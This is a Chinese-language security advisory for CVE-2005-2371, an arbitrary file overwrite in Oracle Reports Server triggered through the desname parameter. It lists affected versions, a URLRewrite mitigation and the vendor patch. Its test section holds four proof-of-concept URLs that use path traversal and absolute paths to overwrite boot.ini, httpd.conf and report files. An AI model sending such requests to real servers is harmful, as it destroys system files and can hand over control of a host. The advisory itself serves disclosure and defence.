Oracle Reports Server DESName远程文件覆盖漏洞

发布日期：2005-07-20
更新日期：2006-01-18

受影响系统：

Oracle Reports 9i
Oracle Reports 6i 6.0.8.19
Oracle Reports 6i 6.0.8
Oracle Reports 6
Oracle Reports 10g 9.0.4.3.3
Oracle Reports 10g 9.0.4
Oracle Reports 10g 9.0.3
Oracle Reports 10g 9.0.2
Oracle Reports 10g 9.0.1
Oracle Reports 10g 9.0

描述：

---

BUGTRAQ ID: 14309
CVE(CAN) ID: CVE-2005-2371

Oracle是一款大型的商业数据库系统，Oracle Reports是Oracle的一款企业报表工具。

Oracle Reports Server的Web界面存在任意文件覆盖漏洞，攻击者可能利用此漏洞获取对主机的控制。

攻击者可以通过指定desname的特殊参数值导致Oracle Reports覆盖应用服务器上的任意文件。在Windows系统上攻击者可以以系统级权限覆盖任意文件，如boot.ini；在UNIX系统上攻击者可以覆盖属于Oracle Application Server用户的任意文件，如opmn.xml。

<*来源：Alexander Kornbrust （ak@red-database-security.com）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=112180096507467&w=2
http://www.red-database-security.com/advisory/oracle_reports_overwrite_any_file.html
http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html?_template=/ocom/technology/cont
http://www.us-cert.gov/cas/techalerts/TA06-018A.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://myserver.com:7779/reports/rwservlet?server=repserv userid=scott/tiger@iasdb report=anyreport.rdf destype=file desformat=PDF desname=../../../boot.ini

http://myserver.com:7779/reports/rwservlet?server=repserv userid=scott/tiger@iasdb report=anyreport.rdf destype=file desformat=PDF desname=c:\boot.ini

http://myserver.com:7779/reports/rwservlet?server=repserv myconn report=anyreport.rdf destype=file desformat=PDF desname=/oracle/iasapp/Apache/Apache/conf/httpd.conf

http://myserver.com:7779/reports/rwservlet?server=repserv myconn report=anyreport.rdf destype=file desformat=PDF desname=/oracle/iasapp/reports/anyreport.rdf

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 使用URLRewrite阻断包含有desname参数的危险URL。

RewriteLog /anywhere/rewrite.log
RewriteEngine On
RewriteRule (.*)desname(.*)$ /forbidden.htm[R] [NC]

厂商补丁：

Oracle
------
Oracle已经为此发布了一个安全公告（cpujan2006）以及相应补丁:
cpujan2006：Oracle Critical Patch Update - January 2006
链接：http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html?_template=/ocom/technology/cont

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!